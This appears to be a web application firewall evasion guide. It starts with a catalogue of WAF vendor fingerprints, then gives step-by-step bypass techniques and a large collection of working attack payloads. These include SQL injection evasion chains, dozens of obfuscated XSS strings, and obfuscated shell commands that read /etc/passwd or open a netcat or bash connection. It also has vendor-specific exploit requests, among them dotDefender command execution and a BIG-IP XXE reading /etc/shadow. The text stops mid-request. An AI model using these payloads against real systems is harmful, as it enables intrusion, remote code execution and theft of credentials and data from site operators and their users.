    • Blocked response page title has WTS-WAF keyword.
    • Server header contains wts as value.
XLabs Security WAF
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-CDN header field with XLabs Security value.
Xuanwudun WAF
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
Yunaq Chuangyu
  • Detectability: Moderate
  • Detection Methodology:
    • Response page has reference to:
      • 365cyd.com or 365cyd.net URL.
      • Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains YUNDUN as value.
    • X-Cache header field contains YUNDUN as value.
    • Response page contains Blocked by YUNDUN Cloud WAF text snippet.
    • Blocked response page contains reference to yundun.com/yd_http_error/ URL.
Yunsuo
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains image class reference to yunsuologo.
    • Response headers contain the yunsuo_session field name.
YxLink
  • Detectability: Easy
  • Detection Methodology:
    • Response might have yx_ci_session cookie field.
    • Response might have yx_language cookie field.
    • Server header contains Yxlink-WAF field value.
ZenEdge
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to /__zenedge/assets/ directory.
    • Server header contain ZENEDGE keyword.
    • Blocked response headers may contain X-Zen-Fury header.
ZScaler
  • Detectability: Easy
  • Detection Methodology:
    • Server header has value set to ZScaler.
    • Blocked response page contains:
      • Access Denied: Accenture Policy text.
      • Reference to https://policies.accenture.com URL.
      • Reference to image at https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Lets look at some methods of bypassing and evading WAFs.

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

  • Load up your wordlist into fuzzer and start the bruteforce.
  • Record/log all responses from the different payloads fuzzed.
  • Use random user-agents, ranging from Chrome Desktop to iPhone browser.
  • If blocking noticed, increase fuzz latency (eg. 2-4 secs).
  • Always use proxychains, since chances are real that your IP gets blocked.
  • This method often fails.
  • Many a times your IP will be blocked (temporarily/permanently).
  • Most efficient method of bypassing WAFs.
  • Some WAFs rely upon matching the attack payloads with the signatures in their databases.
  • Payload matches the reg-ex the WAF triggers alarm.
  • In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
  • The idea is to guess the regex and craft the next payloads which doesn’t use the blacklisted keywords.

Case: SQL Injection

Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)

  • Blocked Attempt: union select user, password from users
  • Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'

Keywords Filtered: and, or, union, where

  • Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
  • Bypassed Injection: 1 || (select user from users limit 1) = 'admin'

Keywords Filtered: and, or, union, where, limit

  • Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
  • Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

Keywords Filtered: and, or, union, where, limit, group by

  • Blocked Attempt: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

Keywords Filtered: and, or, union, where, limit, group by, select

  • Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
  • Bypassed Injection: 1 || substr(user,1,1) = 'a'

Keywords Filtered: and, or, union, where, limit, group by, select, '

  • Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Bypassed Injection: 1 || user_id is not null
  • Bypassed Injection: 1 || substr(user,1,1) = 0x61
  • Bypassed Injection: 1 || substr(user,1,1) = unhex(61)

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex

  • Blocked Attempt: 1 || substr(user,1,1) = unhex(61)
  • Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr

  • Blocked Attempt: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Bypassed Injection: 1 || lpad(user,7,1)

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space

  • Blocked Attempt: 1 || lpad(user,7,1)
  • Bypassed Injection: 1%0b||%0blpad(user,7,1)
  • Encoding payload to different encodings (a hit and trial approach).
  • You can encode whole payload, or some parts of it and test recursively.

1. Case Toggling

  • Some poorly developed WAFs filter selectively specific case WAFs.
  • We can combine upper and lower case characters for developing efficient payloads.

Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

  • Encode normal payloads with % encoding/URL encoding.
  • Can be done with online tools like this.
  • Burp includes a in-built encoder/decoder.

Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

  • ASCII characters in unicode encoding encoding provide great variants for bypassing.
  • You can encode entire/part of the payload for obtaining results.

Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>

Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)

Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

TIP: Have a look at this and this reports on HackerOne. :)

Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

  • Often web apps encode special characters into HTML encoding and render them accordingly.
  • This leads us to basic bypass cases with HTML encoding (numeric/generic).

Standard: "><img src=x onerror=confirm()>
Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)
Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

5. Mixed Encoding

  • Sometimes, WAF rules often tend to filter out a specific type of encoding.
  • This type of filters can be bypassed by mixed encoding payloads.
  • Tabs and newlines further add to obfuscation.

Obfuscated:

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

6. Using Comments

  • Comments obfuscate standard payload vectors.
  • Different payloads have different ways of obfuscation.

Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>

Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--

7. Double Encoding

  • Often WAF filters tend to encode characters to prevent attacks.
  • However poorly developed filters (no recursion filters) can be bypassed with double encoding.

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E

8. Wildcard Obfuscation

  • Globbing patterns are used by various command-line utilities to work with multiple files.
  • We can tweak them to execute system commands.
  • Specific to remote code execution vulnerabilities on linux systems.

Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s

Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. Dynamic Payload Generation

  • Different programming languages have different syntaxes and patterns for concatenation.
  • This allows us to effectively generate payloads that can bypass many filters and rules.

Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>

Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. Junk Characters

  • Normal payloads get filtered out easily.
  • Adding some junk chars helps avoid detection (specific cases only).
  • They often help in confusing regex based firewalls.

Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>

Standard: <BODY onload=alert()>
Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

NOTE: The above payload can break the regex parser to cause an exception.

Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10. Line Breaks

  • Many WAF with regex based filtering effectively blocks many attempts.
  • Line breaks (CR/LF) can break firewall regex and bypass stuff.

Standard: <iframe src=javascript:confirm(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

11. Uninitialized Variables

  • Uninitialized bash variables can evade bad regular expression based filters and pattern match.
  • These have value equal to null/they act like empty strings.
  • Both bash and perl allow this kind of interpretations.

BONUS: Variable names can have any number of random characters. I have represented them here as $aaaaaa, $bbbbbb, and so on. You can replace them with any number of random chars like $ushdjah and so on. ;)

  • Level 1 Obfuscation: Normal
    Standard: /bin/cat /etc/passwd
    Obfuscated: /bin/cat$u /etc/passwd$u

  • Level 2 Obfuscation: Postion Based
    Standard: /bin/cat /etc/passwd
    Obfuscated: $u/bin$u/cat$u $u/etc$u/passwd$u

  • Level 3 Obfuscation: Random characters
    Standard: /bin/cat /etc/passwd
    Obfuscated: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

An exotic payload crafted:

$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

12. Tabs and Line Feeds

  • Tabs often help to evade firewalls especially regex based ones.
  • Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.

Standard: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
Variant: <IMG SRC=" jav ascri pt:alert ();">

Standard: http://test.com/test?id=1 union select 1,2,3
Standard: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

Standard: <iframe src=javascript:alert(1)></iframe>
Obfuscated:

<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

13. Token Breakers

  • Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.

  • Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.

  • However, the request must still remain valid while using token-breakers.

  • Case: Unknown Token for the Tokenizer

    • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • Case: Unknown Context for the Parser (Notice the uncontexted bracket)

    • Payload 1: ?id=123);DROP TABLE users --
    • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIP: More payloads can be crafted via this cheat sheet.

14. Obfuscation in Other Formats

  • Many web applications support different encoding types and can interpret the encoding (see below).
  • Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.

Case: IIS

  • IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
  • We can encode our payload and send the encoded parameters with the query.

Original Request:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--

Obfuscated Request + URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):

TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.

Target Encodings Notes
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273
  • Query string and body need to be encoded.
  • Url-decoded parameters in query string and body.
  • Equal sign and ampersand needed to be encoded as well (no url-encoding).
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • Query string and body need to be encoded.
  • Url-decoded parameters in query string and body afterwards.
  • Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
  • This attack method is based on how a server interprets parameters with the same names.
  • Possible bypass chances here are:
    • The server uses the last received parameter, and WAF checks only the first.
    • The server unites the value from similar parameters, and WAF checks them separately.
  • The idea is to enumerate how the parameters are being interpreted by the server.
  • In such a case we can pass the payload to a parameter which isn’t being inspected by the WAF.
  • Distributing a payload across parameters which can later get concatenated by the server is also useful.

Below is a comparison of different servers and their relative interpretations:

Environment Parameter Interpretation Example
ASP/IIS Concatenation by comma par1=val1,val2
JSP, Servlet/Apache Tomcat First parameter is resulting par1=val1
ASP.NET/IIS Concatenation by comma par1=val1,val2
PHP/Zeus Last parameter is resulting par1=val2
PHP/Apache Last parameter is resulting par1=val2
JSP, Servlet/Jetty First parameter is resulting par1=val1
IBM Lotus Domino First parameter is resulting par1=val1
IBM HTTP Server Last parameter is resulting par1=val2
mod_perl, libapeq2/Apache First parameter is resulting par1=val1
Oracle Application Server 10G First parameter is resulting par1=val1
Perl CGI/Apache First parameter is resulting par1=val1
Python/Zope First parameter is resulting par1=val1
IceWarp An array is returned ['val1','val2']
AXIS 2400 Last parameter is resulting par1=val2
DBMan Concatenation by two tildes par1=val1~~val2
mod-wsgi (Python)/Apache An array is returned ARRAY(0x8b9058c)
  • HPF is based on the principle where the server unites the value being passed along the parameters.
  • We can split the payload into different components and then pass the values via the parameters.

Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIP: A real life example how bypasses can be crafted using this method can be found here.

  • We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
  • When the site decodes the string, the payload gets triggered.

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.

Final URL encoded payload:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
  • The null bytes are commonly used as string terminator.
  • This can help us evade many web application filters in case they are not filtering out the null bytes.

Payload examples:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>

  • RFC states that NodeNames cannot begin with whitespace.
  • But we can use special chars like %, //, !, ?, etc.

Examples:

  • <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
  • <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
  • <%div%20style=xss:expression(prompt(1))> - Works Upto IE7
  • Every browser has their own specific charset of separators.
  • We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.
  • We can use these separators in places where a space is required.

Here is a compiled list of separators by @Masato Kinugawa:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

An exotic payload example:

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Using Atypical Equivalent Syntactic Structures

Section titled “Using Atypical Equivalent Syntactic Structures”
  • This method aims at finding a way of exploitation not considered by the WAF developers.
  • Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
  • This payload is accepted and executed by the server after going through the firewall.

Some common keywords overlooked by WAF developers:

  • JavaScript functions:
    • window
    • parent
    • this
    • self
  • Tag attributes:
    • onwheel
    • ontoggle
    • onfilterchange
    • onbeforescriptexecute
    • ondragstart
    • onauxclick
    • onpointerover
    • srcdoc
  • SQL Operators
    • lpad
    • field
    • bit_count

Example Payloads:

  • Case: XSS
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
  • Case: SQLi
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)

Many alternatives to the original JavaScript can be used, namely:

However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)

  • Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
  • Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
  • Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
  • Find out the ciphers supported by the server (tools like SSLScan helps here).
  • If a specific cipher not supported by WAF but by the server, is found, voila!
  • Initiating a new connection to the server with that specific cipher should smuggle our payload in.

Tool: abuse-ssl-bypass-waf

python abuse-ssl-bypass-waf.py -thread 4 -target <target>

CLI tools like cURL can come very handy for PoCs:

curl --ciphers <cipher> -G <test site> -d <payload with parameter>
  • Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
  • By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.
  • Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
  • Once done, attach your payload to the request after filling the limit with garbage.

A similar technique was used to bypass Google Cloud Platform WAF.

  • Often old historical DNS records provide information about the location of the site behind the WAF.
  • The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.

TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.

Tool: bypass-firewalls-by-DNS-history

bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
  • Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
  • This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
  • Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
  • Usually some *-sync-request keywords or a shared token value is used as the secret.
  • Often adding specific headers may trigger a similar whitelist behaviour.

Now when making a request to the server, you can append it as a parameter:

http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True

A real life example how this works can be found at this blog.

  • The target is to fool the WAF/server into believing it was from their internal network.
  • Adding some spoofed headers to represent the internal network, does the trick.
  • With each request some set of headers are to be added simultaneously thus spoofing the origin.
  • The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.

Some common headers used:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
  • There are a lot of known bypasses of various web application firewalls (see section).
  • With the help of google dorks, we can easily find bypasses.

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

  • Normal search:
    +<wafname> waf bypass

  • Searching for specific version exploits:
    "<wafname> <version>" (bypass|exploit)

  • For specific type bypass exploits:
    "<wafname>" +<bypass type> (bypass|exploit)

  • On Exploit DB:
    site:exploit-db.com +<wafname> bypass

  • On 0Day Inject0r DB:
    site:0day.today +<wafname> <type> (bypass|exploit)

  • On Twitter:
    site:twitter.com +<wafname> bypass

  • On Pastebin
    site:pastebin.com +<wafname> bypass

  • SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
%C0%80'+union+select+col1,col2,col3+from+table+--+
"; select * from TARGET_TABLE --
<script>eval(atob(decodeURIComponent("payload")))//
<strong><button popovertarget=x>click me</button><test onbeforetoggle=alert(document.domain) popover id=x>aaa</aaa></strong>
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
  • Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
author=1
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
http://host/index.php/wp-json/wp/v2/users/
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>’ union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`
<--`<img/src=` onerror=confirm``> --!>
javascript:{alert`0`}
<base href=//knoxss.me?
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
<a69/onclick=[1].findIndex(alert)>pew
<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
0 union/**/select 1,version(),@@datadir
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
  • Remote Command Execution (v3.8-5) by @John Dos
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click
  • GET - XSS Bypass (v4.02) by @DavidK
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
  • POST - XSS Bypass (v4.02) by @DavidK
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>
var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
